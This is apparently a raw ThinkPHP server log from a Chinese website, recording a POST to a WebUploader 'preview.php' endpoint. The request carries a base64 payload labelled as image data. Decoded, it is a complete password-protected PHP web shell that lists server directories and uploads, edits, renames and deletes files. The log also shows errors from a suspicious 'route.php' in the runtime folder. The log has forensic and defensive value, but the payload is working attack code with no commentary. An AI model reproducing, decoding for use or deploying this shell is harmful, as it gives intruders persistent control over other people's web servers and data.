2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:53+08:00 ] 119.42.146.234 POST 51tianwei.com/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.002835s] [吞吐率:352.73req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi